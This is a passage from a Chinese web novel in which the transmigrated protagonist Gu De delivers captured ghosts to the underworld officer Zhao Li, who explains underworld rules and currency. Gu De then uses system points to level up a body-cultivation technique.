“尤其是你们之前那个香江世界,你虽然过来了,可那边留下的人,抓鬼除妖的劲头一点没减,抓到的鬼物都通过岚婆那条线送下去了。
你是没看见,岚婆现在富得流油,光抽成都比我辛辛苦苦当几百年鬼差攒的阴德还多!真是鬼比鬼,气死鬼啊!”
古德闻言,脸上露出会心的笑容。
没想到还能从赵吏这里听到老朋友的消息,听到原来世界的老朋友们(谢潮、周星星他们)似乎干得不错,他脸上不由露出了一丝真切的笑意。挺好,大家各自安好,都在自己的路上前行。
“大家过得好就行。”
古德笑着,从怀里摸出那包在这个时代堪称稀罕物的哈德门香烟,自己叼上一根,又抽出一根,手腕一抖,香烟划过一道弧线,精准地飞向赵吏。
赵吏眼睛一亮,动作娴熟地凌空接住,凑到鼻子前深深嗅了一口,脸上露出陶醉的表情:
“嘿,还是这玩意提神!下面那些鬼卷烟,抽着总差点意思。”
他也不见用什么火,只是将香烟在指尖一转,烟头便自动燃起一点红光。
他美美地吸了一大口,吐出个圆润的烟圈,这才看向古德,等着他的下文。
第248章 向赵吏打探
古德也点着烟,吸了一口,神色稍微正经了些,说道:
“吏哥,这次请你上来,确实是有批鬼物要交。种类还挺杂,有在这个世界滞留多年、害过人的恶鬼厉鬼(害过人的是九叔给的),也有一批……
嗯,还有一批是刚死不久的山贼,戾气重,当场就化了鬼,我怕他们为祸,就直接收了。”
说到这里,古德顿了顿,想起之前林九英的提醒和自己后来的思量,带着点请教的口吻问道:
“对了,吏哥,有个事我想问问。像那些刚死的鬼,按理说应该由你们地府的勾魂使者去引渡。我这边还没等你们的人到,就直接给收了……这合不合规矩?会不会给你,或者给我自己带来什么麻烦?”
他毕竟不是这个世界土生土长的人,有些阴阳两界默认的潜规则,还是问清楚比较好,免得无意中坏了规矩,得罪了其他的鬼差就不好了。
古德说完,对站在一旁的阿草招了招手。
阿草会意,立刻将那个沉甸甸的装满了三角符包布袋子(包括马贼新鬼和之前谭百万家、茅山明的小鬼,九叔这里的老鬼等)拿了过来,双手递给赵吏。
赵吏又吸了口烟,顺手接过布袋子。
他也没打开细看,只是用手掂了掂分量,又伸出两根手指,在布袋表面几个不同的位置分别轻轻按了按,闭上眼睛,似乎在感应什么。
几秒钟后,他睁开眼睛,脸上露出毫不掩饰的惊喜神色,连连点头:
“不错不错!阿德,你这效率,真是没得说!”
他先将布袋子小心地夹在腋下,然后才回答古德的问题,语气轻松:
“放心吧,阿德。你说的那些马贼,生前**越货,修炼邪术,满身罪业,死后魂体必然缠绕血煞怨气。
这种魂魄,通常都有办法暂时规避或抵抗寻常勾魂使者的初次牵引,就算我们的人去了,也不一定能拘走。
你提前收了,等于帮我们减轻了工作量,省去了抓捕的麻烦,只要最后魂归地府受审,过程谁收的,问题不大。”
他弹了弹烟灰,语气稍微认真了点,补充道:
“不过,有件事得跟你说清楚,算是咱们这的行规,你心里有个数。”
古德做出倾听状。
赵吏继续道:
“你之前那‘世界,比较特殊,阴阳通道有问题,我们地府的常规鬼差很难进去,基本就靠岚婆在维持,所以那边你收了什么鬼,怎么收的,基本没人管,也不会有什么麻烦。”
“但这个世界不一样。”
赵吏指了指脚下。
“这个世界的阴阳秩序大体是完好的,有一套成熟的勾魂引渡流程。像那些阳寿已尽、正常死亡的生魂,通常很快就会有负责该片区的勾魂使者前去接引。如果你在人家勾魂使者到场之前,就把这些正常死亡的新魂给收走了……”
他耸耸肩,做了个“你懂的”表情:
“那负责那片区的兄弟找不到魂,回去没法交差,业绩完不成,肯定要上报追查。一查,发现魂被你截胡了……
虽然你也是送魂下地府,但这等于抢了人家饭碗,坏了规矩,到时候难免会有鬼差找你理论,甚至给你下绊子。虽说以阿德你的本事未必怕,但多一事不如少一事,对吧?”
古德听完,恍然大悟,连忙点头:
“明白了,吏哥。多谢提醒。以后我会注意区分,只收那些明显滞留为恶、或者像马贼这种罪孽深重。那些正常死亡、等待接引的普通生魂,我绝不碰。”
“哎,这就对喽!”
赵吏满意地点点头,拍了拍腋下的布袋子,“至于这些,还有以后其他那些滞留阳间作恶、该抓该罚的鬼物,你尽管收,多多益善!收得越多,咱们兄弟俩的业绩就越好看!”
听到这里,旁边一直安静听着的林九英,虽然脸上保持着镇定,但眼神里还是忍不住流露出一丝焦急。
他看古德和赵吏聊得热火朝天,从KPI聊到行规,虽然KPI什么的,他不太懂。
主要是生怕这位鬼差办完正事、拿了鬼物就拍拍屁股走人,自己那件心心念念的大事还没机会问呢。
古德眼角余光瞥见林九英的神色,心里暗笑,知道这位九哥等急了。
他连忙对赵吏道:
“吏哥,正事说完了。另外还有件小事,想跟你打听打听,不知道方不方便?”
赵吏正美滋滋地摸着装鬼的布袋子,闻言挑了挑眉,看向古德:
“跟我打听?是下面的事?”
“嗯,地府的事。”
古德点点头,直接问道:
“听说最近地府下面,因为要稳定阴间金融……咳咳,稳定冥纸价值,打算新设一个印钱司,要招一位负责具体印钞事务的司空,也就是下面常说的银行大班。
不知道吏哥你清不清楚,对这个职位,地府那边主要看重哪些条件?有没有什么……嗯,特别的讲究或者门路?”
赵吏听到“银行大班”几个字,眼神瞬间变得有些微妙,闪过一抹了然和一丝不易察觉的算计光芒。
他摸了摸下巴,作出一副“这事儿有点复杂,不太好说”的犹豫表情,拉长了语调:
“这个嘛……最近确实是有这么个风声。不过嘛,说起这个职位……”
他话没说完,只是用眼角的余光,似有意似无意地,瞟了一眼站在古德身旁、神色明显紧张起来的林九英。
林九英何等精明,立刻会意!
他几乎是没有任何犹豫,动作迅捷却又丝毫不显慌乱地从自己那件半旧道袍的宽大袖子里,掏出了一沓厚厚的印制精美,边缘还烫着金线的冥钞。
这沓冥钞用红绳整齐捆好,看厚度,怕是抵得上普通人家给先人烧好几年的份量了。
“鬼差大人今夜辛苦,特意为鄙镇之事跑一趟,些许茶水车马费用,不成敬意,还请笑纳。”
林九英上前一步,脸上带着恰到好处的笑容,双手将那沓厚厚的冥钞递了过去。
话说得漂亮,动作更是行云流水,显然不是第一次干这种打点的事了。
他虽然嫉恶如仇,但绝不是迂腐之人,有些事该做,有些事不该做能分的清
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。
像打听地府职位这个事情,林九英该有的态度还是会有,不会因为赵吏是古德喊上来的,就理所当然。
赵吏脸上那点为难的表情瞬间冰雪消融,换上了灿烂无比的笑容。
他“哎哟”一声,动作无比自然地伸手接过那沓冥钞,手指还在上面轻轻捏了捏,感受了一下厚度和质感,脸上的笑容更盛了,嘴里客气道:
“道友太客气了,太客气了!这怎么好意思呢……都是自己人,打听点消息,举手之劳嘛!”
话是这么说,他手下动作可不慢,那沓冥钞转眼就消失在他那件西装内袋的另一侧。
收了咨询费,赵吏的态度明显更加热情和坦诚了。
他凑近了些,压低声音,一副透露内部消息的样子:
“既然都是自己人,我就跟你们透个底。这次招银行大班,其实是十殿阎罗那边主导的,主要是觉得下面物价有点乱,阳间乱烧纸钱导致下面通货膨胀压力大,得有个专门的衙门管起来。”
“至于要求嘛......”
赵吏抽了口烟,组织着语言。
“明面上的标准,主要还是看‘业绩’——也就是阴德积累,还有在阳间维护阴阳秩序的贡献。毕竟这个位置权力不小,油水也厚,得找个办事靠谱、根底清白的。
背景嘛……当然也会考虑,十殿阎罗各有各的算盘,他们下面的人,或者他们看得顺眼、有香火情的派系,肯定占点便宜。不过这次说是公开招聘,表面文章还是要做的,所以阴德和贡献是硬指标,起码明面上得过得去。”
他看了一眼林九英,意有所指地补充道:
“名额有限,盯着的人可不少。茅山、龙虎山、阁皂宗,还有下面一些积年的老鬼、有关系的城皇体系,都有人在活动。竞争激烈得很呐!想稳当点,光有背景可能还不够,得多攒点阴德才行。”
林九英听完,心中一块大石算是落了一半。
论背景,他出身茅山正宗,虽然不是那种嫡系中的嫡系,但师门在下面也有香火。论阴德,他这些年斩妖除魔、维护一方,积累也不少。
赵吏这话等于是点明了方向,背景林九英他有,现在关键就是再多攒点阴德,增加筹码。
他暗自下定决心,以后不仅要继续做好本职工作,还得更加积极主动地去清理那些为祸的鬼物妖邪!
这阴德,得多多益善才行!
他下意识地看了一眼古德,心里忽然冒出个念头:跟古德合作,毕竟古德和赵吏的关系,可以让他快速积累阴德……
古德若知道九叔此刻的想法,大概会哭笑不得,合着自己成了激励九叔疯狂刷怪的动力了?
不过就算知道,他大概也只会一笑置之,然后暗地里跟林九英卷起来,后世穿过来的牛马,论卷没怕过哪个时代。
不过话是这样说,但是古德也不可能把重心都放在这里,虽然阴德是升级车子的关键。
只是比起来,他更重要的还是滴滴接单系统和公里点数,所以寻找新订单也是古德接下去的目标之一。
第249章 赵吏解惑,古德离开
赵吏说完,看了看两人,问道:
“阿德,这位林道友,还有别的事吗?没有的话,我可就先撤了。最近下面新出了一款幽冥通最新款,据说什么千里传音、阴司论坛功能都有,还能玩小游戏,抢购火爆得很,我得赶紧回去排队,去晚了又没了!”
他搓着手,一副急着去抢购新潮电子产品的都市白领模样,只是这电子产品的受众和功能都挺阴间。
古德心里忍不住吐槽,怪不得那么穷,存下的阴德都去消费这些东西了吧!
不过吐槽归吐槽,古德也很羡慕,要不是他用不了,他也想抢一台。
古德本来想问的都问了,正想道别,忽然又想起一件事。
他记得之前找岚婆超度鬼物时,问过岚婆冥钞的事情,岚婆说冥钞的本质就是阴德。
但看赵吏刚才收冥钞那熟练又享受的样子,似乎冥钞本身也有其独立的价值?
“吏哥,稍等,还有个小事我挺好奇。”
古德叫住已经转身准备往阴影里走的赵吏,“之前岚婆跟我说,冥钞其实就是阴德的另一种形式。可我看你刚才……”
他指了指赵吏放冥钞的口袋,“好像对冥钞本身也挺看重的?这阴德和冥钞,到底是个什么关系?”
赵吏虽然归心似箭,想赶紧回去抢购新款幽冥通,但看古德闻起来,也没有不耐烦,他转过身,给古德科普起来:
“阿德,你这个问题问得好,很多阳间修行人都搞不太清。”
他吐了个烟圈,缓缓道:
“地府最根本、最硬的通货,当然是阴德。这是天地规则记录的善功,直接关系到魂体的纯净度、来世福报,甚至修炼速度。
是我们这些有编制的鬼差、阴神,还有下面一些有修为的鬼佬大佬之间交易、兑换资源的主要凭据,可以理解为‘高级货币’或者‘功勋点’。”
“但是!”
他话锋一转。
“你想想,每年那么多下去的普通鬼魂,他们生前可能是善人,也可能是恶人,甚至更多的是不好不坏的平常人。
他们有的阴德不多,有的甚至因为生前过错,阴德还是负的,要受罚抵扣。这些普通鬼魂在下面也要生活啊,住个客栈,买点香火,甚至打点一下小鬼行个方便,都需要钱。
这时候,阳间烧下来的、带有特定香火愿力和官方认证印记的冥钞,就派上用场了。这是他们能在阴间流通的普通货币。”
他怕古德还不明白,又打了个比方:
“就好比你之前在的香江,有黄金这种硬通货(阴德),也有政府发行的纸钞(冥钞)。黄金价值高,但日常买卖大宗商品、发工资、交税,可能更多用纸钞,方便。
阴德太重,很多日常小额交易用冥钞更方便。而且,不是所有鬼都有资格、有能力直接使用和交易阴德的。”
“至于岚婆说的也没错。”
赵吏最后总结。
“真正蕴含大量纯净香火愿力、由有道行的法师或特定机构制作的高品质冥钞,在特定条件下,确实可以按比例兑换成阴德,或者本身就凝聚了可观的阴德。
但普通人家随便烧的那些粗制滥造的纸钱,也就是个心理安慰,或者能在鬼魂之间勉强流通一下,价值很低。所以地府才要管控印钞权,防止阳间乱烧导致下面通货膨胀,冥钞变废纸。”
一番解释,深入浅出,古德这才恍然大悟,彻底明白了地府的金融体系。
原来阴德是黄金储备和高级货币,冥钞是日常流通的法定纸币,两者有联系,但功能和使用范围不同。
怪不得赵吏对那沓正规冥钞那么满意,那是能在下面真正消费的钱啊!
“多谢吏哥解惑,这下我全明白了。不耽误你抢购新手机了,慢走。”古德笑着拱手。
“客气啥,自己人。”
赵吏摆摆手,将抽完的烟蒂随手一弹,烟蒂在空中化为一点火星消失。
他整了整西装,腋下夹着装鬼的布袋子,对古德和林九英点点头:
“那行,两位,回见了!有事再喊我,有好货记得优先找我!走了!”
说完,他转身,晃晃悠悠地朝着来时的那片墙角阴影走去。
身影如同融入水中的墨迹,迅速变澹,最终消失不见,仿佛从未出现过。
只有空气中残留的些许烟味,和地上那四支即将燃尽的线香,证明刚才发生的一切并非幻觉。
院子里恢复了寂静,月光依旧清冷。
赵吏一走,林九英明显松了口气,一直紧绷的肩膀也放松下来。
他转身看向古德,脸上满是感激,抱拳郑重道:
“阿德,这次……真是又多亏你了!这份人情,我林九英记下了。感觉欠你的,是越来越多了。”
古德连忙摆手,笑道:
“九哥,你这可就见外了。咱们兄弟之间,互相帮忙,谈什么欠不欠的。你要是真觉得过意不去……”
他眼珠一转,露出一个带着点狡黠的笑容:
“等我去任家镇找你的时候,把你压箱底的宝贝,送我一件当谢礼就行了!我要求不高,什么百年雷击木芯啊,上了年份的朱砂啊,或者你自己画的极品符箓来一沓,都行!”
林九英被他这副打地主的架势逗乐了,笑骂道:
“好你个小子!原来在这儿等着我呢!行!既然你开口了,那就这么说定了!等你来任家镇,只要我有的,你看上什么,随便挑一件!不过提前说好,太离谱的可没有啊!”
“哈哈,那就这么说定了!”古德笑道。
两人又就着月色,闲聊了几句,主要是约定在任家镇会合的大概时间,以及路上要注意的事项。
看看夜色已深,估摸着快到子时了。
古德对林九英道:“九哥,时辰不早了,我这就先告辞了。”
林九英闻言,有些意外。
他看看天色,又看看古德:
“阿德,这么晚了,你还去哪?镇上的客栈怕是都关门了。不如就在我这里将就一晚,厢房虽然简陋,但干净暖和,明天天亮了再走不迟。”
他知道古德并没有在镇上的客
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栈投宿,行李似乎都放在镇外林子里。
虽然不理解为什么要把家当放在荒郊野岭,但这么晚出去,总归不**全,也让人不放心。
古德知道他是好意,心里一暖,但还是笑着摇头拒绝:
“九哥放心,我住的地方,可比你这小院舒服多了,保证风吹不着,雨淋不着,还有软床热水。不用担心我。”
他这话说得自信,倒让林九英不好再强留。
想到古德那些神乎其神的手段,林九英也觉得,这位小兄弟恐怕真有些自己想不到的享受。
“既然如此,那我就不留你了。路上小心,特别是出镇那段路,晚上不太平。”林九英叮嘱道。
“晓得了。”
两人走到院门口。古德像是忽然想起什么,对身后的阿草示意了一下。
阿草立刻从自己随身的小挎包里,取出一个用蓝色土布包裹得方方正正的小盒子,递给古德。
古德接过小盒子,转身,双手递给林九英,脸上带着诚挚的笑容:
“九哥,听阿强那小子说,明天是你的生辰。我可能赶不及给你庆生了,这小玩意儿,就当是提前送的寿礼。祝你早日突破瓶颈,道行精进,也祝九哥你心想事成,顺利拿下那个银行大班!”
林九英愣住了。他完全没想到,古德不仅知道自己的生辰,还提前准备了礼物!
这突如其来的心意,让他这个一向严肃刚硬的中年道士,心里瞬间涌起一股暖流。
他有些手足无措地接过那个并不起眼的小盒子,入手微沉。
他低头看看盒子,又抬头看看古德那爽朗真诚的笑容,喉咙动了动,才有些声音地道:
“你、你小子……搞这么突然……我本来还想着,明天无论如何要留你一天,好好请你吃顿寿面,喝顿酒……你这、这就要走了……”
古德笑道:
“九哥,生辰快乐。酒留着,等任家镇,咱们再好好喝!到时候,你可别舍不得你的好酒!”
“一定!管够!”
林九英重重点头,将小盒子紧紧攥在手里,“我在任家镇等你!一定来!”
“一定!”
古德退后一步,对着林九英郑重地抱拳,行了个标准的江湖礼:
“九哥,青山不改,绿水长流。咱们,江湖再见!”
林九英也肃然回礼,一字一顿:
“阿德,一路顺风。我,在任家镇等你!”
月光下,两人相视一笑,一切尽在不言中。
告别的话说完,古德不再犹豫,潇洒转身,带着安静乖巧的阿草,迈步走进了镇外被月光照亮的青石街道,身影很快消失在街道尽头的拐角,朝着镇外停放房车的那片密林走去。
夜风吹过,带着远方的草木气息。
林九英站在院门口,手里握着那个尚带余温的小盒子,望着古德离去的方向,久久没有动弹。
他抬头,看了看夜空中那轮皎洁的明月,心中一片澄澈。
“任家镇……”
林九英低声念了一句,转身,轻轻关上了院门。
第250章 周星星代替大圣的赠礼
夜色深沉,万籁俱寂。
古德带着阿草,在夜色中悄无声息地回到了那片位于镇外林木掩映的小空地。
那辆通体洁白造型奇特的房车,如同一个沉默的钢铁巨兽,静静匍匐在月光斑驳的林间空地上。
周围虫鸣唧唧,晚风拂过树梢,发出沙沙的轻响,更衬得这片天地幽静无比。
拉开那扇与车身完美融合的侧滑门,温暖明亮的光线和清新宜人的空气立刻涌出,与外面带着凉意和草木气息的夜晚形成鲜明对比。
阿草轻快地跳上车,熟门熟路地开始收拾。
她将古德随手脱下的外套挂好,检查了一下车内各处的状况,又去厨房看了看储备。
“老板,要吃点夜宵吗?或者喝点什么?”阿草回头问。
古德摆摆手,脸上带着一丝战斗和社交后的疲惫:
“不用了,今天折腾得够呛。我先去洗漱,你也早点休息。今晚就不赶路了,在这里好好睡一觉,明天一早再出发去黄山村。”
“好的老板。”阿草应道,看着古德走向主卧的卫生间,自己也哼着不成调的小曲,转身去了她那间小卧室,准备打理一下自己。
虽然她是妖,但也渐渐习惯了这种人的作息和享受。
主卧的卫生间宽敞洁净,设施齐全得不像这个时代的产物。
古德舒舒服服地冲了个热水澡,洗去了一身的疲惫、尘土以及若有若无的战场血腥气。
温热的水流冲刷着皮肤,让他紧绷的神经慢慢放松下来。
擦干身体,换上舒适的丝质睡衣,他躺在了那张宽大柔软、带有按摩和恢复功能的超舒适大床上。
身体是放松了,脑子却还很活跃。
今天发生的事情不少,与马贼的激战,和林九英的切磋论道,请赵吏上来做交易兼打听消息……
每一件都让他对这个世界的认知更深了一层,也让他更加明确自己接下来的路。
“对了,点数……”
古德忽然想起最关键的事情。
这次帮九叔抵御马贼,系统可是发了个大红包,那是有整整6000公里点数!
加上之前积攒的,他现在的资金应该相当充裕了。
是时候给自己升升级,强化一下实力了。
黄山村听起来就不是善地,那个美姨能让林九英都特意提起,肯定不是寻常货色,怕是这个世界的美姨比之前世界的,要厉害不少。
多做准备总没错。
“系统,打开我的个人面板。”古德在心中默念。
熟悉的澹蓝色半透明光幕无声无息地在他眼前展开,只有他能看见。光幕上的数据清晰罗列:
【姓名】:古德
【体质】:9/10】(气血充盈,肌肉骨骼强韧远超常人,耐力持久,恢复力强)
【魅力】:9/10】(气质独特,易获得初次见面者的好感和信任)
【精神】:11/∞】(灵觉敏锐,已初步凝聚神识,可外放探查周身数丈范围,对危机、邪祟有超常感知)
【法力】:23/∞】(真气磅礴精纯,运转自如,已稳固在**境初期)
【当前可用公里点数】:13200点
【当前可用阴德值】:1000点
【核心技能:黄庭内景玉经LV4、金光咒LV3、炁体源流LV3、**LV3、梅花易数LV2、炼器真解LV3…………(其他若干低阶技能略)】
看着那高达13200点的公里点数,古德摸着下巴,陷入了思索。
加点,加什么好呢?
法力和精神,都已经突破了10点的“凡人极限”,进入了“∞”的领域,这意味着它们更依赖于**修炼和境界感悟,单纯用点数去堆属性值性价比已经很低,甚至可能无法直接提升了。
系统之前也暗示过,破限后的属性,需要更多公里点数才能继续增长,除此之外就是自己平时慢慢修行。
另外还有一个方法,就是继续升级**技能。
而《黄庭内景玉经》修炼到LV4,确实能稳步提升精神(神识),但这也是**工夫,属于综合性**,并非专精于神识锤炼。
如果有一门专门修炼神识、增强灵觉感知甚至精神攻击的秘法,效果肯定更直接显著。
不过这类**罕见,他目前技能栏里没有,古德是想指望从炁体源流里刷出来的,但是这样就需要把炁体源流加到LV4,对目前来说,实用性不大。
古德把目光移到“体质:9/10”上。
这是四项基础属性中,唯一还没有破限的。
虽然9点的体质,配合金光咒的加持,已经让他力大如牛、耐力惊人,硬抗普通刀剑劈砍问题不大(,但毕竟没有真正突破那个槛。
他能感觉到,10点可能是个分水岭,一旦突破,肉身或许会发生某种质变,带来意想不到的好处。
比如更强的自愈力、对极端环境的适应力、甚至……寿命?
他之前加点的《八极拳》和《荡秽七式》,都属于“术”的范畴,是运用身体和技巧的方法,能提升战斗力,但并不能从根本上改变和强化身体这个容器本身。
就像给一把刀开了锋、装了柄,可以让它更锋利好用,但刀的材质并没有改变。
“所以,当务之急,是升级一门真
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正能锤炼肉身、提升生命本质的炼体**!”
古德心中豁然开朗。
只要体质突破10点,达到破限,他的整体生存能力和续航能力都会再上一个台阶。
以后再遇到高强度战斗,或者需要硬抗某些阴毒邪术、物理陷阱时,底气就更足了。
想到这里,他脑海中自然而然浮现出一门**的名字《混元六九篇》。
这门**得来颇为蹊跷。
是在他离开香江世界前,周星星那个活宝神神秘秘地塞给他的。
据周星星说,他做了个怪梦,梦里有个穿着锁子黄金甲、扛着铁棒、**脸雷公嘴的猴子跟他说了一堆云山雾罩的话。
最后扔给他一篇**口诀,让他务必转交给古德,还说什么“这是俺老孙给的报酬,让他好生修炼,别丢俺的脸”。
周星星醒来后,迷迷糊糊,但那段**口诀却清晰地印在脑海里,一字不差。
他虽不懂其中奥妙,但觉得梦里的猴子大哥很亲切,又事关古德,便老老实实抄录下来,交给了古德。
古德当时接过那篇笔迹歪歪扭扭、用词古奥却又透着一种洪荒霸气的**时,心情相当微妙。
大圣给的“报酬”?为什么是报酬?
自己请神帮忙,按理说是欠了人情,怎么反倒成了收报酬的一方?
难道大圣觉得帮自己打架很过瘾?或者……另有深意?
他想不明白,但大圣给的东西,肯定不一般,便郑重收下。
之后他仔细研读过这篇《混元六九篇》。
**开篇就阐明,人体乃小天地,内有六处后天枢纽(双肩、双胯、脊柱、丹田),主司运动发力、气血搬运。
外有九处先天窍穴(眼、耳、鼻、口、二阴、脐、百会、劳宫、涌泉),沟通内外天地,感应灵机。
此**便是通过独特的呼吸、观想、导引乃至药浴、击打等内外兼修之法,系统锤炼这“六九”关键,使后天枢纽坚如金铁、柔似藤蔓,令先天窍穴通达透彻、引灵纳气。
修炼到高深境界,据说能成就混元道体,肉身金刚不坏,水火不侵,力大无穷,更能极大提升对各类能量的抗性与容纳性。
这简直就是为他量身定做的炼体神功!
不仅完美契合他提升体质的需求,那提升能量抗性的描述,更是让他心动。
毕竟这个世界可是有许多各种稀奇古怪的邪术、蛊毒、诅咒。
而在他熟读并理解基础原理后,这门《混元六九篇》便悄然出现在了他的系统技能栏里,初始等级是灰色的LV0(未入门)。
现在,是时候让它发光发热了。
第251章 修行混元六九篇,又搜哈了
按照之前升级《黄庭内景玉经》的经验,技能从LV0升到LV4,需要消耗11110点公里点数。
他现在有13200点,完全足够。
“就决定是你了,”古德深吸一口气,目光坚定,“系统,给我升级《混元六九篇》。扣除11110点公里点数,直接加到LV4!”
指令下达的瞬间,系统那冰冷而高效的提示音立刻响起:
“叮!确认宿主指令。扣除11110点公里点数。开始升级核心技能《混元六九篇》……”
“升级进行中……”
“叮!《混元六九篇》已成功升级至LV4。”
系统的提示音刚落,古德便觉得眼前一黑,紧接着意识便被抽离,投入到一个无法用言语形容的、时间流速与外界截然不同的玄妙空间之中。
在这个空间里,没有日月星辰,没有上下四方,只有无尽的虚无和仿佛永恒流淌的光阴。
古德的意识体开始了漫长而艰苦的修炼。
最初,是笨拙地摆出各种扭曲、怪异、违反人体常理的姿势,配合着深长而古怪的呼吸节奏,去感应、去刺激那六处后天枢纽。
双肩如同被撕裂又重组,酸麻胀痛;双胯仿佛被千斤重物碾压,咯吱作响;脊柱像是一条被强行拉直又扭动的龙,每一节骨骼都在呻吟;丹田处更是如同有一个漩涡在疯狂旋转,抽取又喷薄着气血。
日复一日,年复一年。
**在这个空间里度过了多久,只能感觉到痛苦如同潮水般一波波涌来,又退去。
汗水、甚至是模拟出的血水,浸透了虚拟的衣衫。
渐渐地,痛苦开始减弱,取而代之的是一种奇异的通畅和掌控感。
双肩变得灵活而稳固,能承受更狂暴的力量;双胯开合自如,下盘稳如磐石;脊柱如大龙苏醒,节节贯通,力发周身;丹田处的气血愈发雄浑澎湃,如江河奔流。
后天枢纽初步强韧后,修炼转向了更精微、也更凶险的九大先天窍穴。
意守双眼,眼前时而一片漆黑,时而又爆发出刺目的金光,仿佛要洞穿虚空;意守双耳,万籁俱寂与雷霆炸响交替,细微之声清晰可闻。
意守口鼻,呼吸之间,仿佛能汲取冥冥中的先天之气;意守脐、二阴、百会、劳宫、涌泉……
每一处窍穴的开启和通达,都伴随着不同的异象和风险,稍有差池,就可能损伤根基,甚至魂魄受创。
这其中的凶险,远比锻炼后天枢纽更甚。
但古德的意识在无尽的时光磨砺下,已然变得如同最精密的仪器,冷静而坚韧地引导着气血和一丝丝被引动的莫名能量,小心翼翼地冲刷、温养、贯通着这些连接人体与天地的桥梁。
不知道又过去了多少岁月。
当古德终于能将六枢纽、九窍穴初步贯通,形成一个隐隐循环的整体时,他的意识体已然发生了翻天覆地的变化。
身形依旧,但筋长骨坚,肌肉线条流畅而充满爆发力,肌肤下隐隐流动着一层淡淡的、如玉般温润却又坚不可摧的光泽。
举手投足间,蕴含着恐怖的力量,却又协调自然,仿佛与周围的空间融为一体。
寒暑不侵,邪气难近,寻常刀剑恐怕难伤分毫。
这便是《混元六九篇》LV4的境界!
肉身强度、力量、防御、恢复力、以及对自身掌控力,都达到了一个匪夷所思的地步!
就在古德的意识体即将圆满,准备退出这个修炼空间时,系统的提示音再次响起,这次却带了一点不同的意味:
【检测到宿主肉身与意识修炼成果存在较大差异,为避免‘神’与‘形’失衡,启动肉身同步强化程序。同步过程将消耗额外能量,预计需扣除2000点公里点数。是否同步?】
古德意识中闪过一丝明悟。
原来如此!
之前提升《黄庭内景玉
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经》主要涉及精神和法力,与肉身关联不大,所以没有同步这一步。
但炼体**不同,意识层面的修炼成果,必须反馈到真实的肉体上,否则就是空中楼阁。
这2000点,相当于系统帮忙灌顶,直接将修炼成果体现在身体上!
不过这系统这是又要把他榨干啊。
“确认同步!”古德毫不犹豫。这点数得花!
【点数扣除中……开始同步……】
外界,房车卧室内。
盘膝坐在床上的古德本体,在系统提示音落下的瞬间,身体勐地一震!
并非剧烈的疼痛,而是一种极其奇特的、从骨髓深处、从每一个细胞最核心处涌出的酸、麻、胀、痒!
仿佛有无数细微的电流在体内窜动,又像是千万只蚂蚁在啃噬、又在重建他的身体。
他的皮肤表面,以肉眼可见的速度渗出点点灰黑色、带着腥味的粘稠汗液,这是深藏体内的杂质被强行逼出。
骨骼发出细微却密集的“噼啪”声,如同雨后春笋在生长,结构变得更加致密、坚韧。肌肉纤维如同钢丝般绞紧、重塑,蕴含着**性的力量。
经脉在气血汹涌的冲刷下,隐隐拓宽了一丝,更加坚韧。
最明显的变化,是那六处后天枢纽和九大先天窍穴所在的位置。
双肩、双胯、脊柱、丹田等处,微微发热,仿佛有暖流盘旋;而双眼、双耳、口鼻等窍穴,则感觉更加清明、敏锐。
整个同步过程持续了大约一炷香的时间。
当那种奇特的改造感如潮水般退去时,古德缓缓睁开了眼睛。
“唰!”
昏暗的卧室内,仿佛有两道澹金色的电光一闪而逝,随即隐没。
那是目窍通达,神光外显的迹象。
古德长长地吐出一口浊气。
这口气息悠长无比,竟在空气中形成了一道肉眼可见的白色气箭,射出尺许远,才缓缓消散。
第252章 来自鬼差赵吏的阴德转账
古德感觉自己像是从一场无比漫长、却又无比真实的沉眠中苏醒。
古德低头,看向自己的双手。
皮肤似乎更加细腻光滑,隐隐泛着一层玉石般的光泽,但握拳之间,却能感受到皮膜之下,那足以开碑裂石的恐怖力量在涌动。
心念微动,体内气血如同长江大河般奔流不息,发出低沉的轰鸣,六处枢纽如同六个力量核心,随时能爆发出惊天动地的力量。
九大窍穴与外界天地隐隐产生了一种微妙的联系,感知变得更加敏锐,甚至能听到车外更远处夜虫的鸣叫,能闻到空气中更细微的草木清香。
一种前所未有的、充满力量和控制感的充实感,充斥着他的全身。
他下意识地调出个人面板。
淡蓝色的光幕应声展开,数据刷新:
【姓名】:古德
【体质】:12/∞】(脱胎换骨,气血如龙,筋骨如铁,脏腑如钟,已突破凡人极限,初具金刚不坏之基)
【魅力】:9/10】(略)
【精神】:11/∞】(略)
【法力】:23/∞】(略)
【当前可用公里点数】:100点(13200-11100-2000=100)
【当前可用阴德值】:1000点
【核心技能】:《混元六九篇》LV4《黄庭内景玉经》LV4.....略
“体质……12点!不仅破限了!还从9变成了12!怪不得身体变化如此大。”
古德看着面板上的变化,眼中爆发出惊喜的光芒!
果然如他所料!
直接将《混元六九篇》提升到LV4,加上系统的同步强化,果然让他的体质一举突破了10点的极限,达到了12点,并且后面变成了代表无限可能的“∞”符号!
这意味着,他的肉身,已经不再是凡俗范畴!
真正踏上了超凡脱俗的炼体之路!
他轻轻握拳,没有动用丝毫法力,只是纯粹的肉体力量。
空气在掌心被捏爆,发出轻微的“噗”声。
他感觉,现在就算不用金光咒护体,寻常的刀剑砍在身上,恐怕也最多留下一条白印,难以破皮入肉。
若是再遇上昨晚那样的马贼头领,单凭这身肉壳,硬抗他们几记邪术加持的刀噼锤砸,估计问题不大,不过古德也不想去尝试,他还没有受虐倾向。
不过要是再跟林九英切磋手脚功夫……
古德估计,他和林九英可以做到一九开,一是他只要一拳,九是林九英的九。
“而且,似乎还觉醒了一些肉身小神通?”
古德仔细感悟着身体的变化。
目力、耳力大增只是基础,他感觉跟黄庭内景玉经的身神中的目神明上与混元六九篇开启的眼窍,完美地融合在了一起。
他双眼跟似乎能看破一些虚妄,已经不用法力运用双眼,目之所及就是破妄法眼,颇有种破妄金瞳的雏形。
双耳能捕捉到更细微的音波,甚至对自身的掌控达到了一种入微的境界,可以精确控制每一寸肌肉、甚至心跳频率!
“这11100+2000的点数,花得太值了!”古德心中充满喜悦。
虽然公里点数几乎耗尽,只剩下可怜的100点,但换来体质破限和一门直达金刚不坏的顶级炼体**,这波绝对是血赚!
有了这具强大的肉身作为根基,再配合他**境的法力和诸多手段,在这个水很深、大佬很多的民国灵异世界,他的生存底气和闯荡资本,无疑又厚重了数倍!
他站起身,活动了一下筋骨,全身关节发出噼里啪啦如同炒豆般的爆响,充满了力量感。
之前的疲惫一扫而空,精神状态前所未有的好。
“接下来,就是去黄山村,会一会那位美姨了。”
古德走到车窗边,看着外面沉沉的夜色,眼中闪过一丝期待和自信。
